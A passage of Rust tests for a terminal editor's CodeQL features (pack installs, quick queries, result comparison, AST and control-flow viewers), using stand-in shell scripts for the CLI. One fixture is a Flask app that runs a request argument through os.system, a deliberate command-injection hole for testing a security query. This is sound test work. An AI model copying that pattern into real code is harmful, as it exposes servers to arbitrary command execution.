        wait(&mut app);
        assert_eq!(app.status, "Installed the dependencies of acme/rust");

        app.run_command(Command::CodeqlDownloadPacks);
        for c in "codeql/java-queries codeql/python-all@1.0.0".chars() {
            app.input_prompt.as_mut().unwrap().push_char(c);
        }
        app.submit_input_prompt();
        wait(&mut app);
        assert_eq!(
            app.status,
            "Downloaded codeql/java-queries, codeql/python-all@1.0.0"
        );
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert_eq!(
            calls.lines().collect::<Vec<_>>(),
            vec![
                format!("pack install {}", tmp.path().join("pack").display()),
                String::from("pack download codeql/java-queries codeql/python-all@1.0.0"),
            ]
        );

        app.codeql_program = fake_codeql(bin.path(), "", 1, "ERROR: no such pack");
        app.run_command(Command::CodeqlDownloadPacks);
        for c in "acme/missing".chars() {
            app.input_prompt.as_mut().unwrap().push_char(c);
        }
        app.submit_input_prompt();
        wait(&mut app);
        assert_eq!(
            app.status,
            "Could not download acme/missing: ERROR: no such pack"
        );
    });
}

#[cfg(unix)]
#[test]
fn a_codeql_quick_query_opens_for_the_databases_language() {
    // #578: VS Code's "CodeQL: Quick Query". The first time, croft writes
    // a scratch pack for the selected database's language and installs its
    // library; later it reopens the same file, edits and all.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        app.codeql_program = fake_codeql(bin.path(), "", 0, "");
        app.run_command(Command::CodeqlQuickQuery);
        let query = app.editor.path.clone().expect("the quick query is open");
        assert!(
            query.ends_with("quick-query/rust/quick-query.ql"),
            "{}",
            query.display()
        );
        assert!(app.editor.lines.iter().any(|l| l == "import rust"));
        let dir = query.parent().unwrap().to_path_buf();
        assert!(
            std::fs::read_to_string(dir.join("qlpack.yml"))
                .unwrap()
                .contains("codeql/rust-all")
        );
        assert_eq!(
            app.status,
            "Installing codeql/rust-all for the quick query\u{2026}"
        );
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
        while !app.drain_codeql_pack_job() {
            assert!(
                std::time::Instant::now() < deadline,
                "the install never finished"
            );
            std::thread::sleep(std::time::Duration::from_millis(20));
        }
        assert_eq!(
            app.status,
            "Quick query ready: codeql/rust-all is installed"
        );
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert_eq!(calls.trim(), format!("pack install {}", dir.display()));

        // A real install leaves a lock file, which says it is done.
        std::fs::write(dir.join("codeql-pack.lock.yml"), "lockVersion: 1.0.0\n").unwrap();
        std::fs::write(&query, "import rust\nselect 2\n").unwrap();
        app.run_command(Command::CodeqlQuickQuery);
        assert_eq!(app.status, "Opened the rust quick query");
        assert!(app.editor.lines.iter().any(|l| l == "select 2"));
        assert!(app.codeql_pack_job.is_none(), "no second install");
    });
}

#[test]
fn comparing_codeql_results_opens_the_rows_one_run_has_alone() {
    // #578: VS Code's "Compare Results". The newest run's table is set
    // against the previous run of the same query; the rows only one of
    // them has open as a CSV beside the newer results.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::codeql_query::RunStatus;
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        let out = |n: &str| App::codeql_results_dir().join(n).join("results.csv");
        seed_codeql_history(tmp.path(), &[("q.ql", 1, RunStatus::Succeeded, out("1-q"))]);
        app.run_command(Command::CodeqlCompareResults);
        assert_eq!(
            app.status,
            "There is no earlier successful run of q.ql to compare with"
        );
        seed_codeql_history(
            tmp.path(),
            &[
                ("q.ql", 1, RunStatus::Succeeded, out("1-q")),
                ("q.ql", 2, RunStatus::Succeeded, out("2-q")),
            ],
        );
        for (dir, body) in [("1-q", "f\na\nb\n"), ("2-q", "f\nb\nc\n")] {
            std::fs::create_dir_all(out(dir).parent().unwrap()).unwrap();
            std::fs::write(out(dir), body).unwrap();
        }
        app.run_command(Command::CodeqlCompareResults);
        assert_eq!(app.status, "2 rows differ between the runs");
        let compared = out("2-q").with_file_name("compare-1.csv");
        assert_eq!(app.editor.path.as_deref(), Some(compared.as_path()));
        let text = std::fs::read_to_string(&compared).unwrap();
        assert!(text.starts_with("run,f\n"), "{text}");
        assert!(text.contains(",a\n") && text.contains(",c\n"), "{text}");
    });
}

#[test]
fn codeql_query_history_palette_commands_act_on_the_selected_or_newest_run() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::codeql_query::RunStatus;
    use crate::widgets::command_palette::Command;
    use crate::widgets::input_prompt::InputPurpose;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.run_command(Command::CodeqlRemoveHistory);
        assert!(
            app.status.contains("no CodeQL query history"),
            "{}",
            app.status
        );
        assert!(app.input_prompt.is_none());
        let out = |n: &str| App::codeql_results_dir().join(n).join("results.csv");
        seed_codeql_history(
            tmp.path(),
            &[
                ("a-old.ql", 1, RunStatus::Succeeded, out("1-old")),
                ("b-new.ql", 2, RunStatus::Succeeded, out("2-new")),
            ],
        );
        // Sorted by name, the newest run is no longer on top; it is still
        // the one the commands pick.
        app.run_command(Command::CodeqlSortHistory);
        assert_eq!(app.codeql.history_sort, crate::codeql_query::HistSort::Name);
        app.run_command(Command::CodeqlRenameHistory);
        assert_eq!(
            app.input_prompt.as_ref().map(|p| &p.purpose),
            Some(&InputPurpose::CodeqlRenameHistory {
                output: out("2-new")
            })
        );
        app.close_input_prompt();
        app.run_command(Command::CodeqlViewQuery);
        assert_eq!(
            app.editor.path.as_deref(),
            Some(tmp.path().join("b-new.ql").as_path())
        );
        // A selected row wins over the newest.
        app.open_codeql_view();
        app.codeql.select_history(0);
        app.run_command(Command::CodeqlViewQuery);
        assert_eq!(
            app.editor.path.as_deref(),
            Some(tmp.path().join("a-old.ql").as_path())
        );
        assert_eq!(
            Command::from_id("codeql_remove_history"),
            Some(Command::CodeqlRemoveHistory)
        );
        assert_eq!(Command::CodeqlViewQuery.title(), "CodeQL: View Query");
    });
}

/// A stand-in `codeql`: logs its arguments, writes `body` to the path its
/// `--output=` names, and exits with `code` (printing `err` on stderr).
#[cfg(unix)]
fn fake_codeql(dir: &std::path::Path, body: &str, code: i32, err: &str) -> std::path::PathBuf {
    use std::os::unix::fs::PermissionsExt;
    let reply = dir.join("codeql-reply");
    std::fs::write(&reply, body).unwrap();
    let script = format!(
        "#!/bin/sh\necho \"$*\" >> '{log}'\nfor a in \"$@\"; do case \"$a\" in --output=*) cp '{reply}' \"${{a#--output=}}\" ;; esac; done\n[ -n '{err}' ] && echo '{err}' >&2\nexit {code}\n",
        log = dir.join("codeql-calls.log").display(),
        reply = reply.display(),
    );
    let bin = dir.join("codeql");
    std::fs::write(&bin, script).unwrap();
    std::fs::set_permissions(&bin, std::fs::Permissions::from_mode(0o755)).unwrap();
    bin
}

/// Drain the query run until it lands, or fail after a few seconds.
fn wait_for_codeql(app: &mut App) {
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    while app.codeql_run.is_some() {
        app.drain_codeql_run();
        assert!(
            std::time::Instant::now() < deadline,
            "the query run never finished"
        );
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
}

#[cfg(unix)]
#[test]
fn a_published_codeql_pack_is_downloaded_and_run_on_the_database() {
    // #578: "Run Queries in Published Pack": download the pack, analyze
    // the database with it (or the part after `:`), open its SARIF.
    use crate::widgets::command_palette::Command;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        app.codeql_program = fake_codeql(bin.path(), r#"{"runs":[{"results":[{}]}]}"#, 0, "");

        app.run_command(Command::CodeqlRunPublishedPack);
        let prompt = app.input_prompt.as_mut().expect("which pack");
        prompt.value = String::from("python-queries");
        app.submit_input_prompt();
        assert_eq!(
            app.status,
            "\"python-queries\" is not a pack: write scope/name"
        );
        assert!(app.codeql_run.is_none());

        app.run_command(Command::CodeqlRunPublishedPack);
        app.input_prompt.as_mut().unwrap().value =
            String::from("codeql/python-queries@1.8.11:Security/CWE-078");
        app.submit_input_prompt();
        assert_eq!(
            app.status,
            "Running codeql/python-queries@1.8.11:Security/CWE-078 on app\u{2026}"
        );
        wait_for_codeql(&mut app);
        assert!(
            app.status
                .starts_with("codeql/python-queries@1.8.11:Security/CWE-078 finished in "),
            "{}",
            app.status
        );
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        let calls: Vec<&str> = calls.lines().collect();
        assert_eq!(calls[0], "pack download codeql/python-queries@1.8.11");
        assert!(
            calls[1].starts_with(&format!(
                "database analyze {} codeql/python-queries@1.8.11:Security/CWE-078 --format=sarif-latest",
                tmp.path().join("dbs/app").display()
            )),
            "{}",
            calls[1]
        );
        let history = crate::codeql_query::History::load(&App::codeql_history_path());
        let entry = &history.entries[history.newest().unwrap()];
        assert_eq!(entry.status, crate::codeql_query::RunStatus::Succeeded);
        assert_eq!(entry.results, Some(1));
        assert_eq!(
            app.editor.path.as_ref(),
            Some(&entry.output),
            "its SARIF is open"
        );

        // A failed download stops before the analysis.
        let bin = tempfile::tempdir().unwrap();
        app.codeql_program = fake_codeql(bin.path(), "", 2, "A fatal error occurred: no such pack");
        app.run_command(Command::CodeqlRunPublishedPack);
        app.input_prompt.as_mut().unwrap().value = String::from("acme/missing");
        app.submit_input_prompt();
        wait_for_codeql(&mut app);
        assert!(
            app.status.starts_with("acme/missing failed: "),
            "{}",
            app.status
        );
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert_eq!(calls, "pack download acme/missing\n");
    });
}

/// Run a published pack's command-injection query through croft against the
/// real CLI and registry (#578), on a Flask app that runs a request argument.
#[cfg(unix)]
#[test]
#[ignore = "needs the CodeQL CLI and the pack registry; set CROFT_TEST_CODEQL"]
fn real_published_pack_runs_on_the_selected_database() {
    let codeql = std::path::PathBuf::from(std::env::var("CROFT_TEST_CODEQL").unwrap());
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let src = tmp.path().join("src");
        std::fs::create_dir_all(&src).unwrap();
        std::fs::write(
            src.join("app.py"),
            "import os\nfrom flask import Flask, request\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    os.system(request.args[\"cmd\"])\n    return \"\"\n",
        )
        .unwrap();
        let db = tmp.path().join("db");
        let made = std::process::Command::new(&codeql)
            .args(["database", "create", "--language=python", "--source-root"])
            .arg(&src)
            .arg(&db)
            .output()
            .unwrap();
        assert!(
            made.status.success(),
            "{}",
            String::from_utf8_lossy(&made.stderr)
        );
        crate::codeql_db::DatabaseStore {
            databases: vec![crate::codeql_db::DbEntry {
                name: String::from("flask"),
                path: db,
                language: Some(String::from("python")),
                added: 0,
                former_names: Vec::new(),
            }],
            current: Some(0),
            sort_by: None,
        }
        .save(&App::codeql_db_store_path())
        .unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.codeql_program = codeql;
        app.run_codeql_published_pack("codeql/python-queries:Security/CWE-078/CommandInjection.ql");
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(900);
        while app.codeql_run.is_some() {
            app.drain_codeql_run();
            assert!(std::time::Instant::now() < deadline, "never finished");
            std::thread::sleep(std::time::Duration::from_millis(50));
        }
        let history = crate::codeql_query::History::load(&App::codeql_history_path());
        let entry = &history.entries[history.newest().unwrap()];
        assert_eq!(
            entry.status,
            crate::codeql_query::RunStatus::Succeeded,
            "{}",
            app.status
        );
        let sarif = std::fs::read_to_string(&entry.output).unwrap();
        assert!(
            sarif.contains("\"ruleId\":\"py/command-line-injection\""),
            "{sarif}"
        );
        assert_eq!(entry.results, Some(1));
    });
}

/// A workspace with `q.ql` open and database "app" current.
fn codeql_query_fixture(tmp: &std::path::Path, source: &str) -> App {
    let db = tmp.join("dbs/app");
    std::fs::create_dir_all(&db).unwrap();
    let store = crate::codeql_db::DatabaseStore {
        databases: vec![crate::codeql_db::DbEntry {
            name: String::from("app"),
            path: db,
            language: Some(String::from("rust")),
            added: 0,
            former_names: Vec::new(),
        }],
        current: Some(0),
        sort_by: None,
    };
    store.save(&App::codeql_db_store_path()).unwrap();
    let q = tmp.join("q.ql");
    std::fs::write(&q, source).unwrap();
    let mut app = App::new(tmp.to_path_buf()).unwrap();
    app.editor.open(&q).unwrap();
    app
}

/// Wait for the AST Viewer's read to land, or fail after `secs`.
fn wait_for_codeql_ast(app: &mut App, secs: u64) {
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(secs);
    while !app.drain_codeql_ast() {
        assert!(
            std::time::Instant::now() < deadline,
            "the AST read never finished"
        );
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
}

#[cfg(unix)]
#[test]
fn the_ast_viewer_shows_the_open_files_tree_and_goes_to_its_code() {
    // #578: the AST of a source file from the selected database, with
    // go-to-code and clear, through a stand-in for the CLI.
    use crate::widgets::codeql::{Action, Line};
    use std::os::unix::fs::PermissionsExt;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        let src = tmp.path().join("app.py");
        std::fs::write(&src, "import os\n\ndef run(cmd):\n    os.system(cmd)\n").unwrap();
        let pack = bin.path().join("rust-all");
        std::fs::create_dir_all(&pack).unwrap();
        std::fs::write(pack.join("qlpack.yml"), "name: codeql/rust-all\n").unwrap();
        let query = pack.join("printAst.ql");
        std::fs::write(&query, "select 1").unwrap();
        let file = src.display().to_string();
        let graph = format!(
            r#"{{"nodes": {{"tuples": [
              [{{"id": 0, "label": "[Import] import os", "url": {{"uri": "file://{file}", "startLine": 1, "startColumn": 1}}}}, "semmle.order", "1"],
              [{{"id": 1, "label": "[FunctionDef] run", "url": {{"uri": "file://{file}", "startLine": 3, "startColumn": 1}}}}, "semmle.order", "2"],
              [{{"id": 2, "label": "[Call] os.system(cmd)", "url": {{"uri": "file://{file}", "startLine": 4, "startColumn": 5}}}}, "semmle.label", "[Call] os.system(cmd)"]]}},
             "edges": {{"tuples": [
              [{{"id": 1}}, {{"id": 2}}, "semmle.label", "body"]]}}}}"#
        );
        std::fs::write(bin.path().join("graph.json"), graph).unwrap();
        let script = format!(
            "#!/bin/sh\necho \"$*\" >> '{log}'\ncase \"$1 $2\" in 'resolve queries') echo '[\"{query}\"]'; exit 0 ;; esac\nfor a in \"$@\"; do case \"$a\" in --output=*) cp '{graph}' \"${{a#--output=}}\" ;; --external=selectedSourceFile=*) cp \"${{a#--external=selectedSourceFile=}}\" '{sel}' ;; esac; done\nexit 0\n",
            log = bin.path().join("calls.log").display(),
            query = query.display(),
            graph = bin.path().join("graph.json").display(),
            sel = bin.path().join("selected.csv").display(),
        );
        let program = bin.path().join("codeql");
        std::fs::write(&program, script).unwrap();
        std::fs::set_permissions(&program, std::fs::Permissions::from_mode(0o755)).unwrap();
        app.codeql_program = program;

        app.editor.open(&src).unwrap();
        app.run_command(crate::widgets::command_palette::Command::CodeqlViewAst);
        assert_eq!(app.status, "Reading the AST of app.py from app\u{2026}");
        wait_for_codeql_ast(&mut app, 10);
        assert_eq!(app.status, "AST of app.py: 3 nodes");
        let calls = std::fs::read_to_string(bin.path().join("calls.log")).unwrap();
        let calls: Vec<&str> = calls.lines().collect();
        assert!(
            calls[0].starts_with("resolve queries --format=json "),
            "{calls:?}"
        );
        assert_eq!(calls[1], format!("pack install {}", pack.display()));
        assert!(calls[2].starts_with("query run --database="), "{calls:?}");
        assert!(
            calls[3].starts_with("bqrs decode --format=json"),
            "{calls:?}"
        );
        assert_eq!(
            std::fs::read_to_string(bin.path().join("selected.csv")).unwrap(),
            format!("\"{file}\"\n"),
            "the file is named as the source archive names it"
        );

        app.open_codeql_view();
        let rows: Vec<String> = app
            .codeql
            .lines()
            .iter()
            .filter_map(|l| match l {
                Line::Action(Action::AstNode(_) | Action::ClearAst, text) => Some(text.clone()),
                _ => None,
            })
            .collect();
        assert_eq!(
            rows,
            [
                "Clear \u{b7} app.py in app",
                "  [Import] import os  1:1",
                "\u{25b8} [FunctionDef] run  3:1"
            ]
        );
        // Enter on the function unfolds it and goes to its code.
        let row = app
            .codeql
            .lines()
            .iter()
            .position(|l| matches!(l, Line::Action(Action::AstNode(1), _)))
            .unwrap();
        app.codeql.selected = row;
        app.focus = Pane::Tree;
        app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
            .unwrap();
        assert_eq!(app.editor.path.as_deref(), Some(src.as_path()));
        assert_eq!(app.editor.cursor_row, 2);
        assert!(app.codeql.lines().iter().any(|l| matches!(
            l,
            Line::Action(Action::AstNode(2), t) if t == "    body: [Call] os.system(cmd)  4:5"
        )));
        // Clear forgets it.
        app.activate_codeql(crate::widgets::codeql::Hit::Action(Action::ClearAst));
        assert!(app.codeql.ast.is_none());
    });
}

#[cfg(unix)]
#[test]
fn view_cfg_opens_the_control_flow_at_the_cursor_as_a_document() {
    // #578: View CFG runs the language pack's print-cfg query for the
    // cursor's position and opens the graph as a read-only document.
    use std::os::unix::fs::PermissionsExt;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        let src = tmp.path().join("app.py");
        std::fs::write(&src, "import os\n\ndef run(cmd):\n    os.system(cmd)\n").unwrap();
        let query = bin.path().join("printCfg.ql");
        std::fs::write(&query, "select 1").unwrap();
        let reply = serde_json::json!({"mermaid": {"tuples": [[
            "flowchart TD\n1[\"Entry\"]\n2[\"Exit\"]\n3[\"os.system(cmd)\"]\n1 --> 3\n3 --> 2"
        ]]}});
        std::fs::write(bin.path().join("cfg.json"), reply.to_string()).unwrap();
        let script = format!(
            "#!/bin/sh\necho \"$*\" >> '{log}'\ncase \"$1 $2\" in 'resolve queries') echo '[\"{query}\"]'; exit 0 ;; esac\nfor a in \"$@\"; do case \"$a\" in --output=*) cp '{reply}' \"${{a#--output=}}\" ;; --external=selectedSourceLine=*) cp \"${{a#--external=selectedSourceLine=}}\" '{line}' ;; esac; done\nexit 0\n",
            log = bin.path().join("calls.log").display(),
            query = query.display(),
            reply = bin.path().join("cfg.json").display(),
            line = bin.path().join("line.csv").display(),
        );
        let program = bin.path().join("codeql");
        std::fs::write(&program, script).unwrap();
        std::fs::set_permissions(&program, std::fs::Permissions::from_mode(0o755)).unwrap();
        app.codeql_program = program;

        app.editor.open(&src).unwrap();
        app.editor.cursor_row = 2;
        app.run_command(crate::widgets::command_palette::Command::CodeqlViewCfg);
        assert_eq!(
            app.status,
            "Reading the control flow graph at app.py:3\u{2026}"
        );
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
        while !app.drain_codeql_doc() {
            assert!(std::time::Instant::now() < deadline, "never finished");
            std::thread::sleep(std::time::Duration::from_millis(20));
        }
        assert_eq!(app.status, "Control flow graph");
        let doc = app.editor.path.clone().unwrap();
        assert!(doc.starts_with(croft_cache_dir()), "{doc:?}");
        let text = app.editor.lines.join("\n");
        assert!(
            text.starts_with("# Control flow graph of app.py:3:1 in app"),
            "{text}"
        );
        assert!(text.contains("- Entry \u{2192} os.system(cmd)"), "{text}");
        assert!(text.contains("```mermaid"), "{text}");
        assert_eq!(
            std::fs::read_to_string(bin.path().join("line.csv")).unwrap(),
            "3\n"
        );
        let calls = std::fs::read_to_string(bin.path().join("calls.log")).unwrap();
        assert!(calls.contains("print-cfg.qls"), "{calls}");
    });
}

/// #578's View CFG against the real CLI: the control flow of a Python
/// function, read with the cursor on its definition.
#[cfg(unix)]
#[test]
#[ignore = "needs the CodeQL CLI and codeql/python-all; set CROFT_TEST_CODEQL"]
fn view_cfg_reads_a_real_functions_control_flow() {
    let codeql = std::path::PathBuf::from(std::env::var("CROFT_TEST_CODEQL").unwrap());
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let src = tmp.path().join("src");
        std::fs::create_dir_all(&src).unwrap();
        let file = src.join("app.py");
        std::fs::write(&file, "import os\n\ndef run(cmd):\n    os.system(cmd)\n").unwrap();
        let db = tmp.path().join("db");
        let made = std::process::Command::new(&codeql)
            .args(["database", "create", "--language=python", "--source-root"])
            .arg(&src)
            .arg(&db)
            .output()
            .unwrap();
        assert!(
            made.status.success(),
            "{}",
            String::from_utf8_lossy(&made.stderr)
        );
        crate::codeql_db::DatabaseStore {
            databases: vec![crate::codeql_db::DbEntry {
                name: String::from("py"),
                path: db,
                language: Some(String::from("python")),
                added: 0,
                former_names: Vec::new(),
            }],
            current: Some(0),
            sort_by: None,
        }
        .save(&App::codeql_db_store_path())
        .unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.codeql_program = codeql;
        app.editor.open(&file).unwrap();
        app.editor.cursor_row = 2;
        app.run_command(crate::widgets::command_palette::Command::CodeqlViewCfg);
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(600);
        while !app.drain_codeql_doc() {
            assert!(std::time::Instant::now() < deadline, "never finished");
            std::thread::sleep(std::time::Duration::from_millis(50));
        }
        assert_eq!(app.status, "Control flow graph");
        let text = app.editor.lines.join("\n");
        assert!(text.contains("- Entry \u{2192} "), "{text}");
        assert!(text.contains("Exit"), "{text}");
    });
}

#[test]
fn walking_a_codeql_results_table_opens_each_results_code() {
    // #578: `codeQLQueryResults` up/down/left/right. The walk moves the
    // table's cursor and opens the cell's entity; it goes on after the
    // code has the focus, and a sorted table still leads to the right row.
    use crate::codeql_query::{CellLoc, RowLocs};
    use crate::widgets::command_palette::Command;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let src = tmp.path().join("app.py");
        std::fs::write(&src, "a = 1\nb = 2\ndef f():\n    pass\n").unwrap();
        let csv = tmp.path().join("results.csv");
        std::fs::write(
            &csv,
            "\"x\",\"n\"\n\"Name b\",\"2\"\n\"Function f\",\"3\"\n\"plain\",\"9\"\n",
        )
        .unwrap();
        let at = |line: u32, column: u32| {
            Some(CellLoc {
                path: src.clone(),
                line,
                column,
            })
        };
        let rows = vec![
            RowLocs {
                cells: vec!["Name b".into(), "2".into()],
                locs: vec![at(2, 1), None],
            },
            RowLocs {
                cells: vec!["Function f".into(), "3".into()],
                locs: vec![at(3, 5), None],
            },
            RowLocs {
                cells: vec!["plain".into(), "9".into()],
                locs: vec![None, None],
            },
        ];
        std::fs::write(
            crate::codeql_query::locations_path(&csv),
            serde_json::to_string(&rows).unwrap(),
        )
        .unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.run_command(Command::CodeqlResultsDown);
        assert_eq!(app.status, "Open a CodeQL results table first");
        app.editor.open(&csv).unwrap();

        // Down from the first row: row 2, "Function f" at 3:5.
        app.run_command(Command::CodeqlResultsDown);
        assert_eq!(
            app.editor.path.as_deref(),
            Some(src.as_path()),
            "{}",
            app.status
        );
        assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (2, 4));
        // The code has the focus; the walk goes on in the table: back up.
        app.run_command(Command::CodeqlResultsUp);
        assert_eq!(app.editor.cursor_row, 1, "{}", app.status);
        // Right onto the number column: no location there, so the row's
        // entity.
        app.run_command(Command::CodeqlResultsRight);
        assert_eq!(app.editor.cursor_row, 1, "{}", app.status);
        // A row with no entity says so.
        app.run_command(Command::CodeqlResultsDown);
        app.run_command(Command::CodeqlResultsDown);
        assert_eq!(app.status, "Result 3 has no location");

        // Sorted by the name column (descending: plain, Name b, Function
        // f), the first row still leads to its own code.
        app.editor.open(&csv).unwrap();
        let data = &mut app.editor.sheet.as_mut().unwrap().sheets[0];
        data.cur_col = 0;
        data.sort_by_column(0);
        data.sort_by_column(0);
        data.cur_row = 0;
        app.run_command(Command::CodeqlResultsDown);
        assert_eq!(
            app.editor.path.as_deref(),
            Some(src.as_path()),
            "{}",
            app.status
        );
        assert_eq!(app.editor.cursor_row, 1, "Name b is on line 2");
    });
}

#[test]
fn a_csv_sheet_sorts_by_the_cursors_column_from_the_palette() {
    // #578: raw results as a sortable table. Any CSV sheet sorts.
    use crate::widgets::command_palette::Command;
    let tmp = tempfile::tempdir().unwrap();
    let csv = tmp.path().join("results.csv");
    std::fs::write(&csv, "name,count\nb,10\nA,9\nc,100\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.run_command(Command::SheetSortByColumn);
    assert_eq!(app.status, "Open a CSV or TSV file to sort it");
    app.editor.open(&csv).unwrap();
    let sheet = app.editor.sheet.as_mut().expect("a CSV opens as a sheet");
    sheet.sheets[0].cur_col = 1;
    app.run_command(Command::SheetSortByColumn);
    assert_eq!(app.status, "Sorted by count, ascending");
    let rows = |app: &App| -> Vec<String> {
        app.editor.sheet.as_ref().unwrap().sheets[0]
            .rows
            .iter()
            .map(|r| r[1].clone())
            .collect()
    };
    assert_eq!(rows(&app), ["9", "10", "100"]);
    assert!(app.editor.dirty, "a reorder is an edit");
    app.run_command(Command::SheetSortByColumn);
    assert_eq!(app.status, "Sorted by count, descending");
    assert_eq!(rows(&app), ["100", "10", "9"]);
}

#[test]
fn a_runs_result_sets_are_picked_from_a_list() {
    // #578: raw results with a result-set picker. Each set is its own CSV.
    use crate::codeql_query::RunStatus;
    use crate::widgets::command_palette::Command;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.run_command(Command::CodeqlShowResultSet);
        assert_eq!(app.status, "No CodeQL query has run yet");
        let out = App::codeql_results_dir().join("5-q/results.csv");
        seed_codeql_history(
            tmp.path(),
            &[("q.ql", 5, RunStatus::Succeeded, out.clone())],
        );
        app.run_command(Command::CodeqlShowResultSet);
        assert_eq!(app.status, "q.ql has one result set");

        let calls = out.with_file_name("results-calls.csv");
        std::fs::write(&calls, "c,s\nx,y\n").unwrap();
        app.run_command(Command::CodeqlShowResultSet);
        let picker = app.list_picker.as_ref().expect("the picker opens");
        assert_eq!(picker.title, "Result sets of q.ql");
        let labels: Vec<&str> = picker.rows.iter().map(|r| r.label.as_str()).collect();
        assert_eq!(labels, ["#select", "calls"]);
        app.list_picker.as_mut().unwrap().selected = 1;
        app.confirm_list_picker();
        assert_eq!(app.editor.path.as_deref(), Some(calls.as_path()));
        assert_eq!(app.status, "Result set calls");
    });
}

/// #578's result sets against the real CLI: a query with a `query
/// predicate` beside its `select` gets one CSV per set, not both tables
/// run together in one file.
#[cfg(unix)]
#[test]
#[ignore = "needs the CodeQL CLI and codeql/python-all; set CROFT_TEST_CODEQL"]
fn a_real_query_with_two_result_sets_decodes_each_to_its_own_csv() {
    let codeql = std::path::PathBuf::from(std::env::var("CROFT_TEST_CODEQL").unwrap());
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let src = tmp.path().join("src");
        std::fs::create_dir_all(&src).unwrap();
        std::fs::write(
            src.join("app.py"),
            "def run(cmd):\n    print(cmd)\n\nrun(input())\n",
        )
        .unwrap();
        let db = tmp.path().join("db");
        let made = std::process::Command::new(&codeql)
            .args(["database", "create", "--language=python", "--source-root"])
            .arg(&src)
            .arg(&db)
            .output()
            .unwrap();
        assert!(
            made.status.success(),
            "{}",
            String::from_utf8_lossy(&made.stderr)
        );
        crate::codeql_db::DatabaseStore {
            databases: vec![crate::codeql_db::DbEntry {
                name: String::from("py"),
                path: db,
                language: Some(String::from("python")),
                added: 0,
                former_names: Vec::new(),
            }],
            current: Some(0),
            sort_by: None,
        }
        .save(&App::codeql_db_store_path())
        .unwrap();
        let pack = tmp.path().join("q");
        std::fs::create_dir_all(&pack).unwrap();
        std::fs::write(
            pack.join("qlpack.yml"),
            "name: me/q\nversion: 0.0.1\ndependencies:\n  codeql/python-all: \"*\"\n",
        )
        .unwrap();
        let installed = std::process::Command::new(&codeql)
            .args(["pack", "install"])
            .arg(&pack)
            .output()
            .unwrap();
        assert!(
            installed.status.success(),
            "{}",
            String::from_utf8_lossy(&installed.stderr)
        );
        let query = pack.join("Two.ql");
        std::fs::write(
            &query,
            "import python\nquery predicate calls(Call c, string s) { s = c.toString() }\nfrom Function f\nselect f, f.getName()\n",
        )
        .unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.codeql_program = codeql;
        app.editor.open(&query).unwrap();
        app.run_command(crate::widgets::command_palette::Command::CodeqlRunQuery);
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(600);
        while app.codeql_run.is_some() {
            app.drain_codeql_run();
